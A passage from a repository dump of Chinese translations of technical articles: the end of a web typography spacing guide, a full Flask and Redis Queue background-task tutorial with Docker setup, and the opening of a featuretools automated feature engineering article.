倍。同时，标题与下方段落的距离应该与段落间距大致相同，或者稍大一些。这样，标题会从视觉上引领着后续文本。\n\n![](https://static.tildacdn.com/tild3565-3834-4165-b336-316633336633/-/empty/noroot.png)\n\n![](https://static.tildacdn.com/tild6637-3961-4431-a265-626230333266/-/empty/noroot.png)\n\n标题与上下段落之间的距离相等，不清楚它属于哪个段落。  \n\n由于标题使用了合适的边距，很明显标题属于下面的段落。\n\n**3. 排版没有逻辑顺序**\n\n在版面设计中，字体大小对比是用来划分不同视觉层次的文本，并建立严谨结构的。主标题应该是网页中最突出的，子标题应该小不少，但也要清晰可见。\n\n![](https://static.tildacdn.com/tild6266-3064-4632-a535-663466366432/-/empty/noroot_1_.png)\n\n![](https://static.tildacdn.com/tild3161-3430-4431-b031-386138373562/-/empty/noroot_2_.png)\n\n标题和子标题的大小大致相同，之间没有明显的层次结构。  \n\n页面排版逻辑显现出标题比副标题更重要。\n\n**4. 区域的上下间距不等**  \n\n如果不同区域在页面中同等重要，那它们应有相同的界面外观，并且位置间距离应该相等。\n\n![](https://static.tildacdn.com/tild3638-3731-4533-b466-666236316631/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild6664-6133-4364-b565-373066323731/-/empty/__20170919__111400.png)\n\n如果封面和作者照片之间的空白太窄，看起来作者是与封面，而不是与后面的文本有更多联系。 \n\n由于图像上下方边距相等，各个区域显得同等重要。\n\n**5. 说明文字与图片距离太近了**  \n\n从一方面说，图片和说明文字形成一个整体，但这是两个独立的元素，说明文字不应该干扰图片。\n\n![](https://static.tildacdn.com/tild3930-6362-4536-a661-303737616233/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild3538-3833-4832-b031-323165616530/-/empty/__20170919__111400.png)\n\n说明文字贴着图片，我们单独看它们其中一个都很别扭。  \n\n图片和说明文字间有很多空白，但是很明显，说明文字是附属于图片的。\n\n**6. 子标题和文字间空白太少**  \n\n子标题和它紧随其后的文本属于一个整体，但是如果文章中段落间的空白大于子标题和段落间的空白，文章看起来是不连贯的。\n\n![](https://static.tildacdn.com/tild3661-3433-4166-a530-626533623166/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild6237-6538-4663-a165-383231383036/-/empty/__20170919__111400.png)\n\n标题和段落之间的空白小于段落之间的空白。  \n\n标题后的空白略大于段落之间的空白。\n\n**7. 视觉突出元素放得离正文太近了**  \n\n用于强调表达的页面元素，如关键句或引用句是独立的。把它们与正文的边距设置成 75-120 像素，就可以让他们真正显眼。\n\n![](https://static.tildacdn.com/tild3866-3036-4131-b130-363762346639/-/empty/__20170919__111314_1.png)\n\n![](https://static.tildacdn.com/tild3535-3932-4163-b237-663561666265/-/empty/__20170919__111400.png)\n\n正文与突出元素的空白间距太小了。  \n\n由于空白间距较大，引用句变得真正显眼了。\n\n**8. 元素间的视觉对比差太低**  \n\n如果你想强调某个句子，把它加粗，并且把关键句的字体调到比正文字体号大 10-15 像素。让关键句从正文的其余部分中脱颖而出。\n\n![](https://static.tildacdn.com/tild6636-3037-4131-b737-626432323630/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild3335-6134-4533-b731-663961653865/-/empty/__20170919__111400.png)\n\n关键句与剩余文字混在一起。看起来很乱，请尽量避免这样。  \n\n现在每个人都可以一眼看到，因为字体很大，周围有足够的空白间距。\n\n**9. 为窄长的文本区域使用背景色**  \n\n如果你想强调页面的一小部分，如作者信息，在它周围设足够的空白间距就够了，用户会对间隔产生印象。不要把这一部分放在背景色上，这样会显得不合适。\n\n![](https://static.tildacdn.com/tild6536-3766-4464-b432-636566326637/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild3931-3639-4261-b166-663839393132/-/empty/__20170919__111400.png)\n\n不要为子标题加背景色。使用更大的字体和间距就足够让它在页面上突出了。\n\n![](https://static.tildacdn.com/tild6530-3336-4361-b662-393731333534/noroot_5.png)\n\n**10. 两个全屏图片中的空白**  \n\n当你使用了一串的全屏图片时，请避免在它们之间留下空白。图片边框是可见的，并且不需要添加额外的元素。别再加任何东西了。\n\n![](https://static.tildacdn.com/tild3435-6238-4930-b066-303637636530/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild3236-6334-4632-b632-663762646261/-/empty/__20170919__111400.png)\n\n全屏图片之间的空白没有任何意义，看起来也不好。  \n\n在这个例子中，图片流是和谐一体的。\n\n**11. 使用了了太多设计语言**  \n\n设计语言（如粗体）在使用很少的时候表现良好。使用太多，就会妨碍页面阅读。\n\n![](https://static.tildacdn.com/tild6630-3538-4535-b934-336431386461/-/empty/noroot_4.png)\n\n很多单词用粗体标记，所以一段文本好像断裂了。\n\n![](https://static.tildacdn.com/tild3831-3730-4836-a633-316530323365/-/empty/noroot_3.png)\n\n一些有标记的词可以引起读者注意，同时并不干扰正文的其余部分。\n\n**12. 太多排版样式**  \n\n设计不应干扰可读性。排版风格越少，重要的元素就会在视觉上越明显。使用主标题子标题，和关键句样式对比就够了。\n\n![](https://static.tildacdn.com/tild6231-3337-4233-b238-656363376437/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild6362-3465-4136-a665-313765616238/-/empty/__20170919__111400.png)\n\n这段文本有太多排版元素了。他们在分散读者注意力。  \n\n非常少的排版样式，强调点很清晰，文本层次结构一览无余。\n\n**13. 在长文本中使用居中样式**  \n\n居中样式通常用于标题和引用句，用以把它们和其余文本区别开来。一个居中的长文本很难阅读。\n\n![](https://static.tildacdn.com/tild3436-3164-4761-a162-346336326366/-/empty/noroot.png)\n\n![](https://static.tildacdn.com/tild6333-6465-4166-b433-303831396261/-/empty/noroot.png)\n\n一个居中的文本看起来很乱，而且很难阅读。  \n\n向左对齐的文本对视觉浏览来说是舒适的。\n\n**14. 标题与图片太接近了**  \n\n标题是一个单独的设计元素。它不应该离下面的图片太近。对于一个成功的标题图片组合区域，请设置元素的间距不小于 60 像素，并添加子标题 —— 它将展开页面内容，把正确的重点放在你需要的地方。\n\n![](https://static.tildacdn.com/tild3130-3863-4835-b861-393736393364/-/empty/noroot.png)\n\n![](https://static.tildacdn.com/tild3139-6661-4466-b266-623637356566/-/empty/noroot.png)\n\n标题太贴近图片，页面快窒息了。  \n\n在这里，标题与用图片用子标题分开，它引领了整个区域，而不仅是图片\n\n**15. 在不必要的地方使用斜体**  \n\n斜体用来强调文本中的一个词或短语。它并不像加粗样式那样会被立即注意到，但是它确实在需要时做到了强调的效果。 \n  \n不要通篇使用斜体字（正文，标题等）。如果在文本中使用了 sans-serif（无衬线）系字体，请不要使用斜体。\n\n![](https://static.tildacdn.com/tild3462-3239-4662-b434-633263623635/-/empty/photo.png)\n\n由于字体大小和空白间距，这个句子已经脱颖而出，所以这里不需要斜体。\n\n![](https://static.tildacdn.com/tild6365-3238-4338-a537-366232383932/-/empty/photo.png)\n\n斜体用在了正确的地方，文本加入了适量的强调元素。\n\n**16. 相对与页面中心和其它元素来说，区域很不协调**  \n\n如果你在调整页面（改变字体大小，对齐或缩进）的时候休息一下再回顾，你可以轻松地发现这个错误。\n\n![](https://static.tildacdn.com/tild3861-6565-4264-a565-353831623536/-/empty/__20170919__111314.png)\n\n![](https://static.tildacdn.com/tild3232-3930-4632-a131-313865623634/-/empty/__20170919__111400.png)\n\n在这个例子中，标题偏左移了，文本偏右移了。  \n\n所有的文本元素彼此和谐。\n\n* * *\n  \n作者: Ira Smirnova, Masha Belaya, Julia Zass  \n页面排版设计: Julia Zass  \n  \n你觉得这篇文章有用吗？如果是，请与你的朋友分享。非常感谢！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/asynchronous-tasks-with-flask-and-redis-queue.md",
    "content": "> * 原文地址：[Asynchronous Tasks with Flask and Redis Queue](https://testdriven.io/blog/asynchronous-tasks-with-flask-and-redis-queue/)\n> * 原文作者：[Michael Herman](https://testdriven.io/authors/herman/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/asynchronous-tasks-with-flask-and-redis-queue.md](https://github.com/xitu/gold-miner/blob/master/TODO1/asynchronous-tasks-with-flask-and-redis-queue.md)\n> * 译者：[刘嘉一](https://github.com/lcx-seima)\n> * 校对者：[kasheemlew](https://github.com/kasheemlew)\n\n# 在 Flask 中使用 Redis Queue 实现异步任务\n\n![](https://testdriven.io/static/images/blog/flask-rq/aysnc_python_redis.png)\n\n如果你的应用中存在长执行任务，你应当把它们从普通流程中剥离并置于后台执行。\n\n可能你的 web 应用会要求用户在注册时上传头像（图片可能需要被裁剪）和进行邮箱验证。如果你直接在请求处理函数中去加工图片和发送验证邮件，那么终端用户不得不等待这些执行的完成。相反，你更希望把这些任务放到任务队列中，并由一个 worker 线程来处理，这种情况下应用就能立刻响应客户端的请求了。由此一来，终端用户可以在客户端继续其他的操作，你的应用也能被释放去响应其他用户的请求。\n\n这篇文章讲了如何在 Flask 应用中配置 [Redis Queue](http://python-rq.org/)（RQ）来处理长执行任务。\n\n> 当然 Celery 也是一个不错的解决方案。不过相比于 Redis Queue，它会稍显复杂并引入更多的依赖项。\n\n## 目录\n\n- [在 Flask 中使用 Redis Queue 实现异步任务](#asynchronous-tasks-with-flask-and-redis-queue)\n  - [目录](#目录)\n  - [本文目标](#本文目标)\n  - [工作流程](#工作流程)\n  - [项目配置](#项目配置)\n  - [任务触发](#任务触发)\n  - [Redis Queue](#redis-queue)\n  - [任务状态](#任务状态)\n  - [任务控制台](#任务控制台)\n  - [结语](#结语)\n\n## 本文目标\n\n阅读完本文后，你应当学会：\n\n1.  在 Flask 应用中集成 Redis Queue 并创建相应任务。\n2.  使用 Docker 镜像化包含 Flask 和 Redis 的应用。\n3.  使用独立的 worker 线程在后台处理长执行任务。\n4.  配置 [RQ Dashboard](https://github.com/eoranged/rq-dashboard) 用于监控任务队列、作业和 worker 线程。\n5.  使用 Docker 扩展 worker 线程的数量。\n\n## 工作流程\n\n在本文中，我们的目标是借助 Redis Queue 的能力开发一个能处理长执行任务的 Flask 应用，其中长执行任务的执行独立于普通请求、响应的执行。\n\n1.  终端用户通过 POST 请求服务端创建一个新任务\n2.  如图所示，任务队列会增加一个新任务，之后服务端再把任务 id 返回给客户端\n3.  创建好的任务会在服务端后台执行，客户端只需使用 AJAX 不断轮询任务状态即可\n\n![Flask 集成 Redis Queue 的调用时序图](https://testdriven.io/static/images/blog/flask-rq/flask-rq-flow.png)\n\n最终我们将实现一个如下所示的应用：\n\n![开发完成](https://testdriven.io/static/images/blog/flask-rq/app.gif)\n\n## 项目配置\n\n想要继续看下去吗？clone 下面的仓库来看看里面的代码和结构吧：\n\n```\n$ git clone https://github.com/mjhea0/flask-redis-queue --branch base --single-branch\n$ cd flask-redis-queue\n```\n\n因为我们一共需要管理三个进程（Flask、Redis 和 worker），为了简化这一系列工作流，这里我们选择了使用 Docker 来部署，最终我们仅需在一个终端里就可以运行整个应用了。\n\n像这样就能将应用跑起来：\n\n```\n$ docker-compose up -d --build\n```\n\n使用你的浏览器访问 [http://localhost:5004](http://localhost:5004)，你应该能看到如下页面：\n\n![flask、redis queue 和 docker](https://testdriven.io/static/images/blog/flask-rq/flask_redis_queue.png)\n\n## 任务触发\n\n当 *project/client/static/main.js* 里的监听器监听到按键的点击后，它会获取按键对应的任务类型 — `1`、`2` 或 `3`，并把得到的任务类型当作参数通过 AJAX POST 请求发到服务端。\n\n```\n$('.btn').on('click', function() {\n  $.ajax({\n    url: '/tasks',\n    data: { type: $(this).data('type') },\n    method: 'POST'\n  })\n  .done((res) => {\n    getStatus(res.data.task_id)\n  })\n  .fail((err) => {\n    console.log(err)\n  });\n});\n```\n\n在服务端，*project/server/main/views.py* 会负责处理客户端发来的请求：\n\n```\n@main_blueprint.route('/tasks', methods=['POST'])\ndef run_task():\n    task_type = request.form['type']\n    return jsonify(task_type), 202\n```\n\n下面我们来装配 Redis Queue。\n\n## Redis Queue\n\n首先我们需要在 *docker-compose.yml* 中添加配置以启动两个新的进程 — Redis 和 worker：\n\n```\nversion: '3.7'\n\nservices:\n\n  web:\n    build: .\n    image: web\n    container_name: web\n    ports:\n      - '5004:5000'\n    command: python manage.py run -h 0.0.0.0\n    volumes:\n      - .:/usr/src/app\n    environment:\n      - FLASK_DEBUG=1\n      - APP_SETTINGS=project.server.config.DevelopmentConfig\n    depends_on:\n      - redis\n\n  worker:\n    image: web\n    command: python manage.py run_worker\n    volumes:\n      - .:/usr/src/app\n    environment:\n      - APP_SETTINGS=project.server.config.DevelopmentConfig\n    depends_on:\n      - redis\n\n  redis:\n    image: redis:4.0.11-alpine\n```\n\n在 \"project/server/main\" 目录中添加一个新的任务 **tasks.py**：\n\n```\n# project/server/main/tasks.py\n\nimport time\n\ndef create_task(task_type):\n    time.sleep(int(task_type) * 10)\n    return True\n```\n\n更新我们的视图代码，让它能连接 Redis 并把任务放入队列，最后再把任务的 id 返回给客户端：\n\n```\n@main_blueprint.route('/tasks', methods=['POST'])\ndef run_task():\n    task_type = request.form['type']\n    with Connection(redis.from_url(current_app.config['REDIS_URL'])):\n        q = Queue()\n        task = q.enqueue(create_task, task_type)\n    response_object = {\n        'status': 'success',\n        'data': {\n            'task_id': task.get_id()\n        }\n    }\n    return jsonify(response_object), 202\n```\n\n别忘了正确地引入上面用到的库：\n\n```\nimport redis\nfrom rq import Queue, Connection\nfrom flask import render_template, Blueprint, jsonify, \\\n    request, current_app\n\nfrom project.server.main.tasks import create_task\n```\n\n更新 `BaseConfig` 文件：\n\n```\nclass BaseConfig(object):\n    \"\"\"基础配置\"\"\"\n    WTF_CSRF_ENABLED = True\n    REDIS_URL = 'redis://redis:6379/0'\n    QUEUES = ['default']\n```\n\n细心的读者可能发现了，我们在引用 `redis` 服务（在 *docker-compose.yml* 中引入的）的地址时，使用了 `REDIS_URL` 而非 `localhost` 或是某个特定 IP。在 Docker 中如何通过 hostname 连接其他服务，可以在 Docker Compose [官方文档](https://docs.docker.com/compose/networking/) 中找到答案。\n\n最终，我们便可以使用 Redis Queue 的 [worker](http://python-rq.org/docs/workers/) 来处理放在队首的任务了。\n\n```\n@cli.command('run_worker')\ndef run_worker():\n    redis_url = app.config['REDIS_URL']\n    redis_connection = redis.from_url(redis_url)\n    with Connection(redis_connection):\n        worker = Worker(app.config['QUEUES'])\n        worker.work()\n```\n\n在这里，我们通过自定义的 CLI 命令来启动 worker。\n\n需要注意的是，通过装饰器 `@cli.command()` 启动的代码可以访问到应用的上下文，以及访问到在 *project/server/config.py* 中定义的配置变量。\n\n同样需要引入正确的库：\n\n```\nimport redis\nfrom rq import Connection, Worker\n```\n\n在 requirements 文件中添加应用的依赖信息：\n\n```\nredis==2.10.6\nrq==0.12.0\n```\n\n构建并启动新的 Docker 容器：\n\n```\n$ docker-compose up -d --build\n```\n\n让我们试试触发一个任务：\n\n```\n$ curl -F type=0 http://localhost:5004/tasks\n```\n\n你应该会得到类似的返回：\n\n```\n{\n  \"data\": {\n    \"task_id\": \"bdad64d0-3865-430e-9cc3-ec1410ddb0fd\"\n  },\n  \"status\": \"success\"\n}\n\n```\n\n## 任务状态\n\n让我们回头看看客户端的按键监听器：\n\n```\n$('.btn').on('click', function() {\n  $.ajax({\n    url: '/tasks',\n    data: { type: $(this).data('type') },\n    method: 'POST'\n  })\n  .done((res) => {\n    getStatus(res.data.task_id)\n  })\n  .fail((err) => {\n    console.log(err)\n  });\n});\n```\n\n每当创建任务的 AJAX 请求返回后，我们便会取出其中的任务 id 继续调用 `getStatus()`。若 `getStatus()` 也成功返回，那么我们便在表格 DOM 中新增一行记录。\n\n```\nfunction getStatus(taskID) {\n  $.ajax({\n    url: `/tasks/${taskID}`,\n    method: 'GET'\n  })\n  .done((res) => {\n    const html = `\n      <tr>\n        <td>${res.data.task_id}</td>\n        <td>${res.data.task_status}</td>\n        <td>${res.data.task_result}</td>\n      </tr>`\n    $('#tasks').prepend(html);\n    const taskStatus = res.data.task_status;\n    if (taskStatus === 'finished' || taskStatus === 'failed') return false;\n    setTimeout(function() {\n      getStatus(res.data.task_id);\n    }, 1000);\n  })\n  .fail((err) => {\n    console.log(err);\n  });\n}\n```\n\n更新视图层代码：\n\n```\n@main_blueprint.route('/tasks/<task_id>', methods=['GET'])\ndef get_status(task_id):\n    with Connection(redis.from_url(current_app.config['REDIS_URL'])):\n        q = Queue()\n        task = q.fetch_job(task_id)\n    if task:\n        response_object = {\n            'status': 'success',\n            'data': {\n                'task_id': task.get_id(),\n                'task_status': task.get_status(),\n                'task_result': task.result,\n            }\n        }\n    else:\n        response_object = {'status': 'error'}\n    return jsonify(response_object)\n```\n\n调用下面命令在队列中新增一个任务：\n\n```\n$ curl -F type=1 http://localhost:5004/tasks\n```\n\n然后再用上面返回体中的 `task_id` 来请求新增的任务详情接口：\n\n```\n$ curl http://localhost:5004/tasks/5819789f-ebd7-4e67-afc3-5621c28acf02\n\n{\n  \"data\": {\n    \"task_id\": \"5819789f-ebd7-4e67-afc3-5621c28acf02\",\n    \"task_result\": true,\n    \"task_status\": \"finished\"\n  },\n  \"status\": \"success\"\n}\n```\n\n同样让我们在浏览器中试试效果：\n\n![flask, redis queue, docker](https://testdriven.io/static/images/blog/flask-rq/flask_redis_queue_updated.png)\n\n## 任务控制台\n\n[RQ Dashboard](https://github.com/eoranged/rq-dashboard) 是一个 Redis Queue 的轻量级 web 端监控系统。\n\n为了集成 RQ Dashboard，首先你需要在 \"project\" 下新建一个 \"dashboard\" 文件夹，然后再在其中新建一个 **Dockerfile**：\n\n```\nFROM python:3.7.0-alpine\n\nRUN pip install rq-dashboard\n\nEXPOSE 9181\n\nCMD [\"rq-dashboard\"]\n```\n\n接着把上面的模块作为 service 添加到 *docker-compose.yml* 中：\n\n```\nversion: '3.7'\n\nservices:\n\n  web:\n    build: .\n    image: web\n    container_name: web\n    ports:\n      - '5004:5000'\n    command: python manage.py run -h 0.0.0.0\n    volumes:\n      - .:/usr/src/app\n    environment:\n      - FLASK_DEBUG=1\n      - APP_SETTINGS=project.server.config.DevelopmentConfig\n    depends_on:\n      - redis\n\n  worker:\n    image: web\n    command: python manage.py run_worker\n    volumes:\n      - .:/usr/src/app\n    environment:\n      - APP_SETTINGS=project.server.config.DevelopmentConfig\n    depends_on:\n      - redis\n\n  redis:\n    image: redis:4.0.11-alpine\n\n  dashboard:\n    build: ./project/dashboard\n    image: dashboard\n    container_name: dashboard\n    ports:\n      - '9181:9181'\n    command: rq-dashboard -H redis\n```\n\n构建并启动新的容器：\n\n```\n$ docker-compose up -d --build\n```\n\n打开 [http://localhost:9181](http://localhost:9181) 来看看整个控制台：\n\n![rq dashboard](https://testdriven.io/static/images/blog/flask-rq/rq_dashboard.png)\n\n可以尝试启动一些任务来试试控制台功能：\n\n![rq dashboard](https://testdriven.io/static/images/blog/flask-rq/rq_dashboard_in_action.png)\n\n你也可以通过增加 worker 的数量来观察应用的变化：\n\n```\n$ docker-compose up -d --build --scale worker=3\n```\n\n## 结语\n\n这是一篇在 Flask 中配置 Redis Queue 用于处理长执行任务的基础指南。你可以利用该队列来执行任何可能阻塞或拖慢用户体验的进程。\n\n还想继续挑战自己？\n\n1.  注册 [Digital Ocean](https://m.do.co/c/d8f211a4b4c2) 并利用 Docker Swarm 把这个应用部署到多个节点。\n2.  为接口增加单元测试。（可以使用 [fakeredis](https://github.com/jamesls/fakeredis) 来模拟 Redis 实例）\n3.  利用 [Flask-SocketIO](https://flask-socketio.readthedocs.io) 把客户端的轮询改为 websocket 连接。\n\n可以在 [此仓库](https://github.com/mjhea0/flask-redis-queue) 找到本文代码。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/automated-feature-engineering-in-python.md",
    "content": "> * 原文地址：[Automated Feature Engineering in Python](https://towardsdatascience.com/automated-feature-engineering-in-python-99baf11cc219)\n> * 原文作者：[William Koehrsen](https://towardsdatascience.com/@williamkoehrsen?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/automated-feature-engineering-in-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/automated-feature-engineering-in-python.md)\n> * 译者：[mingxing47](https://github.com/mingxing47)\n> * 校对者：[yqian1991](https://github.com/yqian1991) [Park-ma](https://github.com/Park-ma)\n\n# Python 中的特征工程自动化\n\n## 如何自动化地创建机器学习特征\n\n![](https://cdn-images-1.medium.com/max/1000/1*lg3OxWVYDsJFN-snBY7M5w.jpeg)\n\n机器学习正在利用诸如 [H20](http://docs.h2o.ai/h2o/latest-stable/h2o-docs/automl.html)、[TPOT](https://epistasislab.github.io/tpot/) 和 [auto-sklearn](https://automl.github.io/auto-sklearn/stable/) 等工具越来越多地从手工设计模型向自动化优化管道迁移。以上这些类库，连同如 [random search](http://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf) 等方法一起，目的是在不需要人工干预的情况下找到适合于数据集的最佳模型，以此来简化器学习的模型选择和调优部分。然而，特征工程，作为机器学习管道中一个[可以说是更有价值的方面](https://www.featurelabs.com/blog/secret-to-data-science-success/)，几乎全部是手工活。\n\n[特征工程](https://en.wikipedia.org/wiki/Feature_engineering)，也称为特征创建，是从已有数据中创建出新特征并且用于训练机器学习模型的过程。这个步骤可能要比实际使用的模型更加重要，因为机器学习算法仅仅从我们提供给他的数据中进行学习，创建出与任务相关的特征是非常关键的（可以参照这篇文章 [\"A Few Useful Things to Know about Machine Learning\"](https://homes.cs.washington.edu/~pedrod/papers/cacm12.pdf) —— 《了解机器学习的一些有用的事》，译者注）。\n\n通常来说，特征工程是一个漫长的手工过程，依赖于某个特定领域的知识、直觉、以及对数据的操作。这个过程可能会非常乏味并且最终获得的特性会被人类的主观性和花在上面的时间所限制。自动特征工程的目标是通过从数据集中创建许多候选特征来帮助数据科学家减轻工作负担，从这些创建了候选特征的数据集中，数据科学家可以选择最佳的特征并且用来训练。\n\n在这篇文章中，我们将剖析一个基于 [featuretools Python library](https://docs.featuretools.com/#) 库进行自动特征工程处理的案例。我们将使用一个样例数据集来展示基本信息（请继续关注未来的使用真实数据的文章）。这篇文章最终的代码可以在 [GitHub](https://github.com/WillKoehrsen/automated-feature-engineering/blob/master/walk_through/Automated_Feature_Engineering.ipynb) 获取。\n\n* * *\n\n### 特征工程基础\n\n[特征工程](https://www.datacamp.com/community/tutorials/feature-engineering-kaggle)意味着从分布在多个相关表格中的现有数据集中构建出额外的特征。特征工程需要从数据中提取相关信息，并且将其放入一个单独的表中，然后可以用来训练机器学习模型。\n\n构建特征的过程非常耗时，因为每获取一项新的特征都需要很多步骤才能构建出来，尤其是当需要从多于一张表格中获取信息时。我们可以把特征创建的操作分成两类：**转换**和**聚合**。让我们通过几个例子的实战来看看这些概念。\n\n一次**转换**操作仅作用于一张表，该操作能从一个或多个现有列中创建新特征（比如说 Python 中，一张表就如同 Pandas 库中的一个 `DataFrame`）。如下面的例子所示，假如我们有如下的一张客户（clients）信息表：\n\n![](https://cdn-images-1.medium.com/max/800/1*FHR7tlD4FuGKt8n5UHUpqw.png)\n\n我们可以通过从 `joined` 列中寻找出月份或者对 `income` 列取自然对数来创建特征。这些都是转换的范畴，因为他们都是使用了单张表中的信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*QQGYN1PD06rNT-bJphNcBA.png)\n\n另一方面，**聚合** 则是跨表执行的，其使用了一对多关系进行分组观察，然后再计算统计数据。比如说，如果我们还有另外一张含有客户贷款信息的表格，这张表里可能每个客户都有多种贷款，我们就可以计算出每位客户端诸如贷款平均值、最大值、最小值等统计数据。\n\n这个过程包括了根据客户进行贷款表格分组、计算聚合、然后把计算结果数据合并到客户数据中。如下代码展示了我们如何使用 Python 中的 [language of Pandas](https://pandas.pydata.org/pandas-docs/stable/index.html) 库进行计算的过程：\n\n```python\nimport pandas as pd\n\n# 根据客户 id （client id）进行贷款分组，并计算贷款平均值、最大值、最小值\nstats = loans.groupby('client_id')['loan_amount'].agg(['mean', 'max', 'min'])\nstats.columns = ['mean_loan_amount', 'max_loan_amount', 'min_loan_amount']\n\n# 和客户的 dataframe 进行合并\nstats = clients.merge(stats, left_on = 'client_id', right_index=True, how = 'left')\n\nstats.head(10)\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*jHHOuEft93KDenbRpaFcnA.png)\n\n这些操作本身并不困难，但是如果我们有数百个变量分布在数十张表中，手工进行操作则是不可行的。理想情况下，我们希望有一种解决方案，可以在多个表格当中进行自动转换和聚合操作，最后将结果数据合并到一张表格中。尽管 Pandas 是一个很优秀的资源库，但利用 Pandas 时我们仍然需要手工操作很多的数据！（更多关于手工特征工程的信息可以查看如下这个杰出的著作 [Python Data Science Handbook](https://jakevdp.github.io/PythonDataScienceHandbook/05.04-feature-engineering.html)）。\n\n### Featuretools 框架\n\n幸运的是， featuretools 正是我们所寻找的解决方案。这个开源的 Python 库可以自动地从一系列有关联的表格中创建出很多的特征。 Featuretools 是基于一个被称为 \"[Deep feature synthesis](http://featurelabs1.wpengine.com/wp-content/uploads/2017/12/DSAA_DSM_2015-1.pdf)\" （深度特征合成）的方法所创建出来的，这个方法听起来要比实际跑起来更加令人印象深刻。（这个名字是来自于多特征的叠加，并不是因为这个方法使用了深度学习！）\n\n深度特征合成叠加了多个转换和聚合操作（在 feautretools 中也被称为 [feature primitives (特征基元)](https://docs.featuretools.com/automated_feature_engineering/primitives.html)）来从遍布很多表格中的数据中创建出特征。如同绝大多数机器学习中的想法一样，这是一种建立在简单概念基础上的复杂方法。通过一次学习一个构建模块，我们可以很好地理解这个强大的方法。\n\n首先，让我们看看我们的数据。之前我们已经看到了一些数据集，完整的表集合如下所示：\n\n*   `clients` : 客户在信用社的基本信息。每个客户在这个 dataframe 中仅占一行\n\n![](https://cdn-images-1.medium.com/max/800/1*FHR7tlD4FuGKt8n5UHUpqw.png)\n\n*   `loans`: 给客户的贷款。每个贷款在这个 dataframe 中仅占一行，但是客户可能会有多个贷款\n\n![](https://cdn-images-1.medium.com/max/1000/1*95c7QchQVM-9xUUA4ZB4XQ.png)\n\n*   `payments`: 贷款偿还。每个付款只有一行，但是每笔贷款可以有多笔付款。\n\n![](https://cdn-images-1.medium.com/max/1000/1*RbgNzspaiwq74aWU6W5LWQ.png)\n\n如果我们有一件机器学习任务，例如预测一个客户是否会偿还一个未来的贷款，我们将把所有关于客户的信息合并到一个表格中。这些表格是相互关联的（通过 `client_id` 和 `loan_id` 变量），我们可以使用一系列的转换和聚合操作来手工完成这一过程。然而，我们很快就将看到，我们可以使用 featuretools 来自动化这个过程。\n\n### 实体和实体集\n\n对于 featuretools 来说，最重要的两个概念是**实体**和**实体集**。一个实体就只是一张表（或者说一个 Pandas 中的 `DataFrame`） 。一个[实体集](https://docs.featuretools.com/loading_data/using_entitysets.html)是一系列表的集合以及这些表格之间的关系。你可以把实体集认为是 Python 中的另外一个数据结构，这个数据结构有自己的方法和参数。\n\n我们可以在 featuretools 中利用下面的代码创建出一个空的实体集：\n\n```python\nimport featuretools as ft\n\n# 创建新实体集  \nes = ft.EntitySet(id = 'clients')\n```\n\n现在我们必须添加一些实体。每个实体必须有一个索引，它是一个包含所有唯一元素的列。也就是说，索引中的每个值必须只出现在表中一次。`clients` dataframe 中的索引是 `client_id` ，因为每个客户在这个 dataframe 中只有一行。我们使用以下语法向实体集添加一个已经有索引的实体：\n\n```python\n# 从客户 dataframe 中创建出一个实体\n# 这个 dataframe 已经有一个索引和一个时间索引\nes = es.entity_from_dataframe(entity_id = 'clients', dataframe = clients, \n                              index = 'client_id', time_index = 'joined')\n```\n\n`loans` datafram 同样有一个唯一的索引,`loan_id` 以及向实体集添加 `loan_id` 的语法和 `clients` 一样。然而，对于 `payments` dataframe 